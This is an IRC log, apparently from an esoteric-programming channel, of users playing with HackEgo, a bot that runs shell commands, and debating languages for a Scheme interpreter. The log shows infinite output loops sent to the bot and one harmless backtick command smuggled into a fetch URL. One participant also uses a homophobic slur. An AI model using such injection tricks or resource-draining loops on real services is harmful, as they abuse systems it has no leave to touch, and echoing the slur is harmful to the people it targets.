06:52:25 <HackEgo> \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
06:52:43 <GregorR> `run while true; do echo \\o/; done
06:52:45 <HackEgo> \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/
06:53:26 <HackEgo> \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/
06:53:35 <Warrigal> `run echo star; while true; do echo \\o/; done
06:53:37 <HackEgo> star \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/
06:53:50 <GregorR> Apparently there's some LIMIT or something :P
06:53:53 <Warrigal> `run echo star; while true; do echo '\\''o/'; done
06:53:55 <HackEgo> star \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/ \ \\o/
06:54:41 <Warrigal> I figured it would be interpreted as an escape sequence.
06:54:41 <coppro> no interpolation in single quotes
06:54:47 <Warrigal> Like it is in everything other than bash.
06:54:55 <Warrigal> `run echo star; while true; do echo "\\"'o/'; done
06:54:58 <GregorR> This is why single quotes exist :P
06:54:59 <HackEgo> star \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/ \ \o/
06:55:54 <Warrigal> Which way is ´ facing, by the way?
06:56:02 <Warrigal> And why isn't it `? Does ` appear as well?
06:56:55 <Warrigal> I guess rightward is the only one that makes sense.
06:58:23 * Warrigal smiles at how specific the sentence "it does" is
06:59:21 <Warrigal> If e'd meant something else, e'd have said "it is" or "he does" or "it is" or "it is" or "it would" or "there is".
07:00:16 <Warrigal> Or "it is" or "it is" or "it does"--ah! There's another sentence that abbreviates to "it does"!
07:00:34 <Warrigal> It was said 28 minutes before the one myndzi actually meant.
07:00:48 <GregorR> If I were a rich man, rich man, rich man, if I were a rich man I would cease inexplicably using "were" after "I".
07:01:36 <myndzi> [guts] Game starting, type !guts ante to ante up! (Game begins in 30 seconds)
07:01:38 <Warrigal> The verb "to be", conjugated in the present imperfect subjunctive: I were, he were, he/she/it were, we were, they were.
07:02:06 <myndzi> [guts] Not enough players, hand cancelled.
07:02:13 <GregorR> Warrigal: Yeah, but that's the only context in which that conjugation is acceptable :P
07:02:41 <Warrigal> I get itchy every time someone uses "was" in that context.
07:02:53 <GregorR> That's certainly /correct/
07:03:01 <Warrigal> I wonder how long it's been correct.
07:03:06 <Warrigal> I get even itchier every time someone uses "would be" in that context.
07:03:20 <Warrigal> "If I would be a rich man". Say it with me. Eew.
07:03:32 <immibis> myndzi, how many scripts do you have
07:03:39 <Warrigal> myndzi: there's another script for you. If a message contains "Say it with me.", echo whatever comes after.
07:03:42 <GregorR> Warrigal: But ... that has a different meaning ...
07:04:09 <myndzi> http://myndzi.seckzi.com/mirc6remotes.png
07:04:26 <myndzi> i think at least 130 before
07:04:37 <myndzi> part of the reason it's lower now though is i put all my misc shit in one file now
07:05:43 <immibis> how much memory do you have?
07:05:55 * Warrigal almost says something in all caps, but decides doing so would be unbefitting.
07:06:05 <Warrigal> (Namely, "ONE HUNDRED AND SIXTY FOUR THOUSAND SCRIPTS!??!?!?!")
07:06:06 <myndzi> but those scripts don't take much really
07:06:15 <myndzi> OVER NINE THOUSAND SCRIPTS
07:06:28 <immibis> OVER A GOOGOLPLEX OF SCRIPTS!?
07:06:31 <myndzi> mirc takes 10k fresh start
07:06:47 <myndzi> with those scripts loaded
07:06:58 <myndzi> with all my chans and scrollbacks it's more like 30k for this one
07:18:34 <GregorR> $ du -h .xchat2/xchatlogs/
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:31 -!- inurinternet has joined.
08:09:55 -!- coppro has quit (Read error: 110 (Connection timed out)).
08:37:25 <immibis> i accidentally made a file called *
08:37:30 <immibis> and tried to delete it with "rm *"
08:38:04 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
08:38:15 <immibis> why do you keep doing that?
08:38:16 <GregorR> Oh, not referring to HackEgo :P
08:38:28 <GregorR> To get the URL, I'm too lazy to just type it.
08:38:53 <immibis> `run echo echo http://codu.org/projects/hackbot/fshg/ > bin/url
08:39:12 <HackEgo> echo http://codu.org/projects/hackbot/fshg/
08:39:42 <immibis> `run echo '#!/bin/bash' > bin/url; echo echo http://codu.org/projects/hackbot/fshg/ >> bin/url
08:39:46 <HackEgo> http://codu.org/projects/hackbot/fshg/
08:40:38 <GregorR> The problem is that the situations I'm most likely to need the URL in are those where bin/url has disappeared :P
08:41:15 <HackEgo> addquote \ calc \ define \ esolang \ etymology \ google \ imdb \ minifind \ paste \ quote \ runfor \ tcc \ url \ wolfram
08:52:57 <HackEgo> wget: unable to resolve host address ``echo hello`'
08:53:48 <HackEgo> bin \ paste \ quotes \ tmpdir.17214
08:55:59 <immibis> warrigal/ihope: Vote YES! on Proposition 24! </campaign-slogan>
08:56:52 <immibis> (it was supposed to install bison, flex and texinfo, but i seem to have made a mistake and it actually installs bison, yacc and texinfo. oh well)
09:15:43 <immibis> i was talkin to warrigal (aka ihope). about rootnomic.
09:16:13 <GregorR> You people and your craaaaaaaaazy nomics :P
09:16:20 <GregorR> I still haven't gotten anybody to play my card-game nomic.
09:21:38 -!- kar8nga has joined.
09:35:43 -!- Hiato has joined.
09:43:25 -!- MigoMipo has joined.
09:55:59 -!- immibis has quit ("Relax, its only ONES and ZEROS!").
10:26:29 -!- Hiato has quit ("Leaving").
10:26:29 -!- Corun has joined.
10:46:54 -!- Gracenotes has quit ("Leaving").
11:04:10 -!- kar8nga has quit (Remote closed the connection).
11:34:35 -!- comex has quit (Read error: 110 (Connection timed out)).
12:32:59 -!- KingOfKarlsruhe has joined.
12:46:40 -!- mtd has quit (hubbard.freenode.net irc.freenode.net).
12:46:40 -!- EgoBot has quit (hubbard.freenode.net irc.freenode.net).
12:46:40 -!- ineiros has quit (hubbard.freenode.net irc.freenode.net).
12:46:41 -!- Dewi has quit (hubbard.freenode.net irc.freenode.net).
12:46:41 -!- Warrigal has quit (hubbard.freenode.net irc.freenode.net).
12:46:41 -!- AnMaster has quit (hubbard.freenode.net irc.freenode.net).
12:46:41 -!- Slereah_ has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- Corun has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- CESSMASTER has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- Asztal has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- pikhq has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- nescience has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- sebbu has quit (hubbard.freenode.net irc.freenode.net).
12:46:42 -!- KingOfKarlsruhe has quit (hubbard.freenode.net irc.freenode.net).
12:46:43 -!- MizardX has quit (hubbard.freenode.net irc.freenode.net).
12:46:43 -!- fungot has quit (hubbard.freenode.net irc.freenode.net).
12:46:43 -!- rodgort has quit (hubbard.freenode.net irc.freenode.net).
12:46:44 -!- dbc has quit (hubbard.freenode.net irc.freenode.net).
12:46:44 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
12:46:45 -!- fizzie has quit (hubbard.freenode.net irc.freenode.net).
12:46:45 -!- olsner has quit (hubbard.freenode.net irc.freenode.net).
12:46:45 -!- Deewiant has quit (hubbard.freenode.net irc.freenode.net).
12:46:45 -!- inurinternet has quit (hubbard.freenode.net irc.freenode.net).
12:46:46 -!- Ilari has quit (hubbard.freenode.net irc.freenode.net).
12:46:46 -!- MigoMipo has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- ehird has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- lifthrasiir has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- GregorR has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- bsmntbombdood has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- myndzi has quit (hubbard.freenode.net irc.freenode.net).
12:46:47 -!- lament has quit (hubbard.freenode.net irc.freenode.net).
12:46:48 -!- HackEgo has quit (hubbard.freenode.net irc.freenode.net).
12:46:48 -!- ski__ has quit (hubbard.freenode.net irc.freenode.net).
12:46:48 -!- mtve has quit (hubbard.freenode.net irc.freenode.net).
12:48:04 -!- KingOfKarlsruhe has joined.
12:48:04 -!- Corun has joined.
12:48:04 -!- MigoMipo has joined.
12:48:04 -!- inurinternet has joined.
12:48:04 -!- CESSMASTER has joined.
12:48:04 -!- HackEgo has joined.
12:48:04 -!- bsmntbombdood has joined.
12:48:04 -!- pikhq has joined.
12:48:04 -!- EgoBot has joined.
12:48:04 -!- nescience has joined.
12:48:04 -!- AnMaster has joined.
12:48:04 -!- sebbu has joined.
12:48:04 -!- Slereah_ has joined.
12:48:04 -!- mtd has joined.
12:48:04 -!- GregorR has joined.
12:48:04 -!- fizzie has joined.
12:48:04 -!- olsner has joined.
12:48:04 -!- MizardX has joined.
12:48:04 -!- Asztal has joined.
12:48:04 -!- ehird has joined.
12:48:04 -!- ski__ has joined.
12:48:04 -!- myndzi has joined.
12:48:04 -!- Deewiant has joined.
12:48:04 -!- ineiros has joined.
12:48:04 -!- fungot has joined.
12:48:04 -!- rodgort has joined.
12:48:04 -!- dbc has joined.
12:48:04 -!- Dewi has joined.
12:48:04 -!- Leonidas has joined.
12:48:04 -!- Warrigal has joined.
12:48:04 -!- Ilari has joined.
12:48:04 -!- lifthrasiir has joined.
12:48:04 -!- lament has joined.
12:48:04 -!- mtve has joined.
12:51:06 -!- upyr[emacs] has joined.
13:00:16 -!- Hiato has joined.
13:04:45 -!- Hiato has quit (Remote closed the connection).
13:12:12 -!- kar8nga has joined.
13:27:31 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
13:32:33 -!- nice has joined.
13:33:06 -!- nice has changed nick to nice_ka.
13:35:00 -!- KingOfKarlsruhe has quit (Nick collision from services.).
13:35:06 -!- nice_ka has changed nick to KingOfKarlsruhe.
13:41:18 -!- tombom has joined.
13:43:24 -!- CESSMASTER has quit ("Computer has gone to sleep").
13:46:19 -!- BeholdMyGlory has joined.
14:02:30 -!- KingOfKarlsruhe has quit (Remote closed the connection).
14:13:32 -!- asiekierka has joined.
14:49:19 -!- comex has joined.
14:51:04 -!- kar8nga has quit (Remote closed the connection).
14:51:54 -!- CESSMASTER has joined.
15:08:33 -!- asiekierk has joined.
15:14:24 -!- CESSMASTER has quit ("Computer has gone to sleep").
15:15:06 -!- asiekierka has quit (Read error: 60 (Operation timed out)).
15:30:18 -!- tombom has quit (Read error: 113 (No route to host)).
15:34:56 -!- CESSMASTER has joined.
15:45:41 -!- MigoMipo has joined.
16:27:16 -!- Corun has quit (Read error: 110 (Connection timed out)).
16:36:52 -!- kar8nga has joined.
16:55:47 -!- FireyFly has joined.
17:19:41 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
17:55:41 -!- Corun has joined.
18:18:40 -!- FireyFly has changed nick to FireFly.
18:21:29 -!- Gracenotes has joined.
18:32:50 -!- Corun has quit (Read error: 110 (Connection timed out)).
18:43:05 -!- coppro has joined.
18:43:57 <pikhq> THERE CAN BE ONLY ONE.
18:44:55 <fizzie> And there is not even that one. How failurous.
18:45:40 <fizzie> Incidentally, the Internet service in this hotel is *dialup*, 33600 bps, and costs 100 Russian play-money units per hour. How last-millennium.
18:48:08 <pikhq> Where the fuck are y... Ah.
18:48:44 <pikhq> Might I recommend going somewhere more modern, like, say, time travelling to the 90s?
18:49:28 <fizzie> My first-choice for the hotel would've had a complimentary WLAN service, but (since it was closest to the conference place I'm here for) it had already been fully-booked by the time I got around making the reservation.
18:52:31 <GregorR> `calc 100 russian rubles in usd
18:52:32 <HackEgo> 100 Russian rubles = 3.21600 U.S. dollars
18:53:00 <pikhq> I do believe this is the first case I've seen of Europe being *less* developed Internet-wise than the US.
18:53:11 <GregorR> Russia doesn't count as Europe :P
18:53:14 <pikhq> I don't know of US hotels that don't have complimentary Wifi.
18:53:21 <pikhq> GregorR: Parts of it do.
18:54:12 <fizzie> It's a bit expensive for 24/7 usage. Fortunately I can go home on Wednesday after I've done my presentation bit, so I won't have to stay here long. And the conference place probably is networked better.
18:54:18 <fizzie> This part is Saint Petersburg.
18:54:43 <pikhq> I'd certainly hope the conference is networked better.
18:55:12 <fizzie> Well, it's an old palace. But one assumes they've brought some wlan access points at least.
18:55:47 <pikhq> Perhaps do the DEFCON solution of having portable network racks trucked in.
18:55:51 <asiekierk> GregorR: Well, Russia counts as Eastern Eurasia
18:56:27 <lament> russia certainly counts as europe
18:56:53 <lament> at least, half of it does
18:57:29 <pikhq> The half that has people, at least.
18:59:28 -!- Gracenotes has quit (Connection timed out).
19:00:50 <GregorR> HEY, I'm Siberian you jerk! :(
19:01:26 <pikhq> Sorry, but... Montana has a higher population density.
19:01:37 -!- Gracenotes has joined.
19:03:38 <lament> fizzie: how do you like st petersburg?
19:05:40 <pikhq> According to whois, he's in Finland right now.
19:12:33 <asiekierk> http://armorgames.com/play/2893/achievement-unlocked
19:21:08 -!- Gracenotes has quit (Read error: 54 (Connection reset by peer)).
19:24:43 <Deewiant> Any ideas for a language I could learn by writing a Scheme interpreter?
19:25:44 -!- saburo has joined.
19:31:15 <AnMaster> <pikhq> Perhaps do the DEFCON solution of having portable network racks trucked in. <-- more info please
19:32:10 <AnMaster> <pikhq> According to whois, he's in Finland right now. <-- as far as I remember fizzie use a bouncer
19:33:17 <AnMaster> Deewiant, but why not write one in befunge :)
19:33:23 <AnMaster> scheme in befunge would be rather fun
19:33:38 <AnMaster> full r5rs, it is a very short standard
19:34:03 <AnMaster> of course that wouldn't be "learning" a language
19:34:07 <AnMaster> but would be interesting anyway
19:35:54 <GregorR> `wolfram GDP of Scotland / population of Germany
19:36:02 <HackEgo> GDP of Scotland population of Germany \ \ Input interpretation: \ \ Germany \ \ GDP \ \ Scotland, Connecticut Germany population \ \ city population \ \ Result: \ \ $68.24 million per year US dollars per year \ History: \ \ 2004 and 2007 estimates \ \ prune`result \ Currency conversions: \ \ JPY EUR GBP CNY CAD
19:37:11 <Deewiant> AnMaster: I was considering befunge but I figured I'd rather learn something new
19:37:55 <HackEgo> The gross domestic product (GDP) or gross domestic income (GDI), a basic measure of an economy's economic performance, is the market value of all final ... \ en.wikipedia.org/wiki/Gross_domestic_product - [15]Cached - [16]Similar
19:38:22 <AnMaster> same as Brutto Nationalprodukt then
19:39:03 <AnMaster> ehird, the abbrevation is even better
19:42:27 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:42:30 -!- asiekierk has quit (Read error: 60 (Operation timed out)).
19:42:31 <ehird> 05:28 GregorR: It's too bad that there's no universal standard of sound that's as intrinsically networkable as X11.
19:42:52 -!- saburo has quit.
19:43:39 <ehird> 17:45 fizzie: Incidentally, the Internet service in this hotel is *dialup*, 33600 bps, and costs 100 Russian play-money units per hour. How last-millennium.
19:43:41 <ehird> use monopoly money
19:43:57 <GregorR> ehird: There only was 1 revision, so that did nothing :P
19:43:58 <AnMaster> Deewiant, hm... I don't know what languages you already know
19:44:01 <ehird> 17:53 pikhq: I do believe this is the first case I've seen of Europe being *less* developed Internet-wise than the US.
19:44:01 <ehird> 17:53 GregorR: Russia doesn't count as Europe :P
19:44:06 <pikhq> ehird: PulseAudio, ARTs, etc. It's too bad there's no universal standard of sound, though.
19:44:11 <ehird> i keep getting pinged
19:44:17 <ehird> jokes on you guys huh i can't see your messages
19:44:32 <ehird> 18:05 pikhq: According to whois, he's in Finland right now.
19:44:32 <Deewiant> AnMaster: Doesn't matter, just say whatever you come up with
19:44:35 <ehird> That's called a bouncer.
19:44:37 <lament> ehird: http://en.wikipedia.org/wiki/Europe
19:44:39 <AnMaster> * Ping reply from ehird: 1.30 second(s)
19:44:40 <ehird> yay logreading over
19:44:42 <GregorR> ehird is totally the kind of guy to have a logread script that PREVENTS him from reading new messages :P
19:44:44 <ehird> now to read the logs that appeared while logreading
19:44:51 <ehird> 19:33 AnMaster: full r5rs, it is a very short standard
19:44:53 <ehird> a very difficult one
19:44:58 <ehird> unwind-protect vs call-with-current-continuation
19:45:03 <ehird> not simple to implement at all
19:45:08 <ehird> stop pinging me faggot whoever you are
19:45:11 <AnMaster> ehird, not simple true. BUT SHORT
19:45:15 <ehird> 19:39 AnMaster: ehird, the abbrevation is even better
19:45:20 <ehird> oh i was just saying butts because i arrived
19:45:26 <ehird> 19:42 AnMaster: ehird, why did you revert
19:45:31 <ehird> 19:42 Deewiant: Common Lisp is a bit meh
19:45:32 <Deewiant> Erlang and MLs are an idea but they're ugly
19:45:49 <ehird> 19:44 pikhq: ehird: PulseAudio, ARTs, etc. It's too bad there's no universal standard of sound, though.
19:45:50 <Deewiant> ehird: few lines above your 19:33
19:46:04 <ehird> 19:44 GregorR: ehird is totally the kind of guy to have a logread script that PREVENTS him from reading new messages :P
19:46:06 <ehird> No, that's called OCD
19:46:09 <AnMaster> Deewiant, I was agreeing with you yes
19:46:17 <ehird> 19:45 AnMaster: ehird, not simple true. BUT SHORT
19:46:20 <ehird> you're completely wrong
19:46:22 <Deewiant> I fear I'd just miss Haskell with MLs
19:46:35 <ehird> it takes an awful lot of code and clever implementation to implement all of R5RS 100% correctly
19:46:55 <AnMaster> Deewiant, MegaZeux? Implementing a programming language in a game system is fun
19:46:57 <ehird> and such implementations are very rare
19:47:12 <lament> R5RS is sooooo last century
19:47:23 <AnMaster> I just found an old game of life implementation I made as a scenario for "blades of avernum"
19:47:36 <AnMaster> found it yesterday when I was getting nostalgic about my first generation ibook
19:47:50 <Deewiant> AnMaster: Something non-esoteric please :-)
19:48:06 <AnMaster> ehird, the spec is short. compared to the C++ one for example
19:48:41 <ehird> AnMaster: Yes, R5RS' spec is concise.
19:48:52 <Deewiant> ehird: The context is telling me a language to implement R5RS in
19:49:03 <ehird> Its implementation is neither concise, easy in any way, or short-time.
19:49:12 <ehird> Deewiant: oh. R5RS.
19:49:13 <AnMaster> ehird, ... that is what I said
19:49:38 <ehird> AnMaster: Clearly you put all the content in the bits that weren't there, 'cause I sure didn't see that.
19:49:39 <AnMaster> Deewiant, what about in scheme
19:50:04 <AnMaster> ehird, I said short. That means few pages.
19:50:06 <Deewiant> (loop (print (eval (read)))) :-P
19:50:15 <ehird> I thought you referred to the implementation.
19:50:21 <ehird> AnMaster: 19:49 ehird: Deewiant: oh. R5RS.
19:50:28 <ehird> But I was serious.
19:50:29 <AnMaster> ehird, from the context it was clear I didn't
19:50:48 <Deewiant> ehird: 19:33, a few lines up, my message. You fail at logreading.
19:51:05 <AnMaster> ehird, I wasn't serious because of above mentioned context.
19:51:24 <ehird> 18:24 Deewiant: Any ideas for a language I could learn by writing a Scheme interpreter?
19:51:35 <ehird> OK, that's a terribly bad way to learn a language...
19:51:53 <Deewiant> Task is set, now gimme a language
19:51:57 <AnMaster> ehird, indeed. Until you came bursting in here, we had no problems with the discussion.
19:52:00 -!- upyr[emacs] has quit (Remote closed the connection).
19:52:13 <ehird> AnMaster: Oh, stfu.
19:52:57 * AnMaster invites everyone but ehird to #esoteric-no-ehird
19:53:52 <pikhq> A Scheme interpreter in PEBBLE would be... Quite stunning.
19:54:00 <Deewiant> 2009-06-21 21:47:50 ( Deewiant) AnMaster: Something non-esoteric please :-)
19:54:06 <pikhq> Obviously, you could do it, but...
19:54:20 <pikhq> AnMaster: It's like Brainfuck, but with variables and macros.
19:54:41 <AnMaster> pikhq, those vars and macros would make it much simpler
19:54:57 <ehird> AnMaster: I'd imagine Deewiant knows C.
19:55:19 <AnMaster> ehird, yet you suggested r5rs. Even though he knows it
19:55:23 <pikhq> AnMaster: Still, you'd have to implement a call stack in Brainfuck.
19:55:41 <AnMaster> ehird, I doubt she knows r5rs in fact.
19:55:48 <ehird> Deewiant: Csh isn't boring.
19:56:12 <pikhq> No, no. Do csh in csh.
19:56:25 <Deewiant> The thing with langs like J and Erlang is that I don't think they're at all well suited to the task
19:56:42 <Deewiant> Sure, it could be done, but I'd miss half the language.
19:57:53 <ehird> Deewiant: ARC!!!!!!!!!1111111111111111
19:58:03 <Deewiant> Or Nemerle, in a similar vein.
19:58:23 <pikhq> Erlang would probably be decently suited to implementing a Lisp.
19:58:26 <pikhq> Unfortunately, you'd miss the parallelism that is the *point* of Erlang.
19:58:30 <ehird> It's good at interpreters. At least, good as far as prolog goes.
19:58:42 <ehird> Deewiant: I wrote a lambda calculus in like 15 lines of Prolog.
19:58:46 <Deewiant> ehird: Yes, as far as Prolog goes. :-P
19:58:54 <ehird> Deewiant: Hey, it's not boring.
19:59:03 <AnMaster> pikhq, it does have nice pattern matching too.
19:59:05 <Deewiant> Prolog is a bit too mindbending for me to try it like this
19:59:22 <AnMaster> pikhq, but you end up using case more often than if...
19:59:26 <ehird> Deewiant: so you want something not boring that doesn't bend your mind.
19:59:33 <ehird> Hurf durf I'm a contradictor
19:59:46 <Deewiant> The context is a project for a Scheme course, so I'd rather it not be something that takes a year to figure out.
20:00:13 <ehird> Deewiant: Well, you're not writing the whole of R5RS in that time.
20:00:26 <ehird> Deewiant: When I wrote that 15-line LC in Prolog, for the record, I barely knew it.
20:00:34 <ehird> I basically knew the basics and nothing else.
20:00:57 <Deewiant> ehird: I have experience in trying to figure out Prolog and I'm not well disposed toward it.
20:01:20 <ehird> Well I give up, you're impossible :P
20:01:34 <Deewiant> What, for not accepting Csh and Prolog? :-D
20:01:40 -!- bsmntbombdood_ has joined.
20:01:42 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
20:01:45 <ehird> Your constraints are impossible.
20:02:06 <pikhq> AnMaster: proc lambda {arglist func} {list apply [list $arglist $func]}
20:02:07 <Deewiant> ehird: (not-boring) `intersect` (not-prolog) = {}?
20:02:23 <ehird> Deewiant: What about all the ones I didn't state because they don't fit your contradictory requirements?
20:02:25 <ehird> I'm talking about those.
20:03:09 <Deewiant> ehird: I'm not as well-versed in telepathy as you seem to think
20:03:27 <ehird> Deewiant: I told you that I give up trying to come up with ideas.
20:03:37 <ehird> Obviously I don't stream my thoughts to IRC in real-time.
20:04:12 <Deewiant> But anyway, I don't see my requirements as contradictory
20:04:30 <AnMaster> Deewiant, I think ehird said "your mom" was one of those languages he skipped
20:04:49 <AnMaster> Deewiant, I bet it would be an esolang then
20:04:54 <Deewiant> I'm fine with mindbending... just not Prolog. :-P
20:05:58 <AnMaster> if APL isn't mindbending, then I don't know what is
20:06:38 <AnMaster> but ehird thinks forth is boring I guess
20:06:39 <ehird> Forth sucks at strings.
20:06:45 <ehird> Really, really sucks
20:06:51 <pikhq> No, Forth's default wordset sucks at strings.
20:06:52 <ehird> You Cers are positively spoilt in comparison.
20:06:54 <AnMaster> alternatively he think it is prolog
20:06:58 <Deewiant> I was considering a highish-level Forth like Factor.
20:07:01 <ehird> pikhq: It's called ANS Forth, bitch.
20:07:03 <ehird> Deewiant: That's not a forth.
20:07:10 <ehird> That's a concatenative language.
20:07:13 <ehird> It is barely anything like forth.
20:07:21 <AnMaster> <ehird> You Cers are positively spoilt in comparison. <-- "You Cers"?
20:07:37 <ehird> pikhq: That is not a valid use of the apostrophe, dammit.
20:08:05 <Deewiant> ehird: "A Forth" ~= "a concatenative language"
20:08:12 -!- bsmntbombdood has quit (No route to host).
20:08:15 <ehird> Deewiant: Your dictionary needs replacing.
20:08:15 <Deewiant> Given that there's so few, anyway.
20:08:20 <ehird> : forth a-real-proper-forth ;
20:08:47 <Deewiant> What are proper concatenative langs anyway
20:08:50 <ehird> "A Forth", in the Forth community, means a Forth system. Srsly, saying anything else is confusing.
20:09:00 <Deewiant> As in, in a somewhat usable state etc
20:09:12 <ehird> Deewiant: Forth, Factor, Cat.
20:09:15 <ehird> Cat is pretty lame.
20:12:29 <Deewiant> ehird: Yeah, so Forth, Factor. :-P
20:12:48 <ehird> Forth has an awful lot of variation; Factor has nil because it only has one canonical implementation and gigantic library set.
20:12:56 <ehird> So it's more like Forth*300, Factor.
20:15:23 <ehird> Deewiant: No, because "Forth
20:15:27 <ehird> " is a class of systems.
20:15:33 <ehird> Yes, yes, ANS Forth; doesn't change reality.
20:15:57 <Deewiant> Isn't that like saying that there are 100 Cs
20:16:57 <ehird> Deewiant: Not really.
20:17:07 <ehird> Forth systems have a lot more of a distinctive character to them.
20:17:12 <ehird> It's just semantics
20:17:40 <Deewiant> So I guess I got nothing useful out of this and've still got only Scala and Nemerle.
20:18:09 <ehird> Deewiant: Nemerle, to me, looks just like C# with another syntax.
20:18:30 <Deewiant> Factor and Smalltalk are a bit meh, I don't like their environments
20:18:34 <ehird> Oh, and the macro definition syntax is ugly as fuck.
20:18:40 <ehird> AnMaster: I'm not talking about C#.
20:18:42 <AnMaster> it has #define and #if basically, that's all iirc
20:18:44 <Deewiant> ehird: Scala, to me, looks just like Java with another syntax. *snooze*
20:19:16 <ehird> Deewiant: Well, it adds quite a bit more functional stuff to that, but when you come down to it, you're right. It was not as unicorns-shitting-ponies-and-rainbows as it seemed when I first started using it.
20:19:24 <ehird> Also the toolchain is full of Java bullshit.
20:19:54 <Deewiant> And Nemerle is trying to be functional too.
20:19:56 -!- coppro has joined.
20:19:58 <ehird> Yeah, I was devastated.
20:20:02 <AnMaster> Deewiant, "May contain traces of unicorn"
20:20:03 <ehird> But whatever, both aren't all that interesting,.
20:20:10 <ehird> Definitely not paradigm-changers.
20:20:46 <Deewiant> Or any other good prototyped-OO
20:21:25 <ehird> Deewiant: Io's basic idea is cute, but it's let down by (a) the syntax isn't very nice when you actually get to coding, (b) the documentation is truly dreadful—don't underestimate this. Most things are just completely undocumented, and finally (c) you get to write everything yourself because nobody uses the damn thing.
20:21:26 <AnMaster> Deewiant, I think the only esolang that could manage this sanely would actually be befunge
20:21:36 <ehird> Javascript is, ehh, okay.
20:21:54 <ehird> but the browser apis suck ass
20:21:59 <ehird> and there aren't really any CLI apis
20:22:06 <ehird> unless you use Rhino, and then you get to deal with javashit
20:22:16 <AnMaster> <ehird> Javascript is, ehh, okay. <-- nice summary
20:22:21 <ehird> also the syntax tries to be like C too much.
